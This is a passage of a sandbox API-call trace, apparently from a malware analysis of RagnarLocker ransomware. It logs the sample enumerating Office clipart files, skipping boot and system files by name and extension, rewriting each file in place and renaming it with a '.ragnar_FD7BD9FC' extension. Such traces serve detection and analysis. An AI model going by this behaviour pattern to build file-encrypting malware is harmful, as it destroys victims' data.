office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.594] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8366) returned 1 [0080.594] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x20a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.594] GetProcessHeap () returned 0x580000 [0080.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.594] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.595] VirtualAlloc (lpAddress=0x0, dwSize=0x20ae, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.596] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.596] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.596] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x20ae, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x20ae, lpOverlapped=0x0) returned 1 [0080.596] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.597] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x20ae, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.597] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x20ae, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x20ae, lpOverlapped=0x0) returned 1 [0080.597] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x20ae, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.597] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.597] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x20ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.597] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.597] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.597] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.597] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.597] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.598] GetProcessHeap () returned 0x580000 [0080.598] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.598] CloseHandle (hObject=0xf4) returned 1 [0080.598] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" [0080.598] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.ragnar_FD7BD9FC" [0080.598] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.598] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f738600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f738600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x1370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00184_.WMF", cAlternateFileName="")) returned 1 [0080.598] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.598] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS00184_.WMF" | out: lpString1="BS00184_.WMF") returned="BS00184_.WMF" [0080.598] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned=".WMF" [0080.598] lstrcmpiW (lpString1="BS00184_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.598] lstrcmpiW (lpString1="BS00184_.WMF", lpString2="autorun.inf") returned 1 [0080.598] lstrcmpiW (lpString1="BS00184_.WMF", lpString2="boot.ini") returned 1 [0080.598] lstrcmpiW (lpString1="BS00184_.WMF", lpString2="bootfont.bin") returned 1 [0080.598] lstrcmpiW (lpString1="BS00184_.WMF", lpString2="bootsect.bak") returned 1 [0080.599] lstrcmpiW (lpString1="BS00184_.WMF", lpString2="bootmgr") returned 1 [0080.599] lstrcmpiW (lpString1="BS00184_.WMF", lpString2="bootmgr.efi") returned 1 [0080.599] lstrcmpiW (lpString1="BS00184_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.599] lstrcmpiW (lpString1="BS00184_.WMF", lpString2="desktop.ini") returned -1 [0080.599] lstrcmpiW (lpString1="BS00184_.WMF", lpString2="iconcache.db") returned -1 [0080.599] lstrcmpiW (lpString1="BS00184_.WMF", lpString2="ntldr") returned -1 [0080.599] lstrcmpiW (lpString1="BS00184_.WMF", lpString2="ntuser.dat") returned -1 [0080.599] lstrcmpiW (lpString1="BS00184_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.599] lstrcmpiW (lpString1="BS00184_.WMF", lpString2="ntuser.ini") returned -1 [0080.599] lstrcmpiW (lpString1="BS00184_.WMF", lpString2="thumbs.db") returned -1 [0080.599] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.599] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.599] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.599] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.599] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.599] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.599] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x20 [0080.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.599] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4976) returned 1 [0080.599] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1367, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.599] GetProcessHeap () returned 0x580000 [0080.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.600] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.601] VirtualAlloc (lpAddress=0x0, dwSize=0x1370, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.601] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.601] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.601] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1370, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1370, lpOverlapped=0x0) returned 1 [0080.602] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.602] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1370, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.602] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1370, lpOverlapped=0x0) returned 1 [0080.602] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1370, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.602] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.602] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1370, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.602] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.603] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.603] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.603] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.603] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.603] GetProcessHeap () returned 0x580000 [0080.603] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.603] CloseHandle (hObject=0xf4) returned 1 [0080.603] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" [0080.603] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.ragnar_FD7BD9FC" [0080.603] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.604] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c60b600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c60b600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x31f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00186_.WMF", cAlternateFileName="")) returned 1 [0080.604] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.604] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS00186_.WMF" | out: lpString1="BS00186_.WMF") returned="BS00186_.WMF" [0080.604] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned=".WMF" [0080.604] lstrcmpiW (lpString1="BS00186_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.604] lstrcmpiW (lpString1="BS00186_.WMF", lpString2="autorun.inf") returned 1 [0080.604] lstrcmpiW (lpString1="BS00186_.WMF", lpString2="boot.ini") returned 1 [0080.604] lstrcmpiW (lpString1="BS00186_.WMF", lpString2="bootfont.bin") returned 1 [0080.604] lstrcmpiW (lpString1="BS00186_.WMF", lpString2="bootsect.bak") returned 1 [0080.604] lstrcmpiW (lpString1="BS00186_.WMF", lpString2="bootmgr") returned 1 [0080.604] lstrcmpiW (lpString1="BS00186_.WMF", lpString2="bootmgr.efi") returned 1 [0080.604] lstrcmpiW (lpString1="BS00186_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.604] lstrcmpiW (lpString1="BS00186_.WMF", lpString2="desktop.ini") returned -1 [0080.604] lstrcmpiW (lpString1="BS00186_.WMF", lpString2="iconcache.db") returned -1 [0080.604] lstrcmpiW (lpString1="BS00186_.WMF", lpString2="ntldr") returned -1 [0080.604] lstrcmpiW (lpString1="BS00186_.WMF", lpString2="ntuser.dat") returned -1 [0080.604] lstrcmpiW (lpString1="BS00186_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.604] lstrcmpiW (lpString1="BS00186_.WMF", lpString2="ntuser.ini") returned -1 [0080.604] lstrcmpiW (lpString1="BS00186_.WMF", lpString2="thumbs.db") returned -1 [0080.604] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.604] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.604] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.604] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.604] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.604] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.604] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x20 [0080.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.605] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12788) returned 1 [0080.605] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x31eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.605] GetProcessHeap () returned 0x580000 [0080.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.605] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.607] VirtualAlloc (lpAddress=0x0, dwSize=0x31f4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.607] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.607] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.607] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x31f4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x31f4, lpOverlapped=0x0) returned 1 [0080.608] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.608] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x31f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.608] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x31f4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x31f4, lpOverlapped=0x0) returned 1 [0080.608] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x31f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.608] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.608] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x31f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.608] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.608] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.609] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.609] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.609] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.609] GetProcessHeap () returned 0x580000 [0080.609] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.609] CloseHandle (hObject=0xf4) returned 1 [0080.609] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" [0080.609] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.ragnar_FD7BD9FC" [0080.609] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.610] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9efd600, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9efd600, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00200_.WMF", cAlternateFileName="")) returned 1 [0080.610] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.610] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS00200_.WMF" | out: lpString1="BS00200_.WMF") returned="BS00200_.WMF" [0080.610] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned=".WMF" [0080.610] lstrcmpiW (lpString1="BS00200_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.610] lstrcmpiW (lpString1="BS00200_.WMF", lpString2="autorun.inf") returned 1 [0080.610] lstrcmpiW (lpString1="BS00200_.WMF", lpString2="boot.ini") returned 1 [0080.610] lstrcmpiW (lpString1="BS00200_.WMF", lpString2="bootfont.bin") returned 1 [0080.610] lstrcmpiW (lpString1="BS00200_.WMF", lpString2="bootsect.bak") returned 1 [0080.610] lstrcmpiW (lpString1="BS00200_.WMF", lpString2="bootmgr") returned 1 [0080.610] lstrcmpiW (lpString1="BS00200_.WMF", lpString2="bootmgr.efi") returned 1 [0080.610] lstrcmpiW (lpString1="BS00200_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.610] lstrcmpiW (lpString1="BS00200_.WMF", lpString2="desktop.ini") returned -1 [0080.610] lstrcmpiW (lpString1="BS00200_.WMF", lpString2="iconcache.db") returned -1 [0080.610] lstrcmpiW (lpString1="BS00200_.WMF", lpString2="ntldr") returned -1 [0080.610] lstrcmpiW (lpString1="BS00200_.WMF", lpString2="ntuser.dat") returned -1 [0080.610] lstrcmpiW (lpString1="BS00200_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.610] lstrcmpiW (lpString1="BS00200_.WMF", lpString2="ntuser.ini") returned -1 [0080.610] lstrcmpiW (lpString1="BS00200_.WMF", lpString2="thumbs.db") returned -1 [0080.610] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.610] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.610] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.610] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.610] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.610] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.610] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x20 [0080.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.611] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3104) returned 1 [0080.611] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc17, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.611] GetProcessHeap () returned 0x580000 [0080.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.611] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, 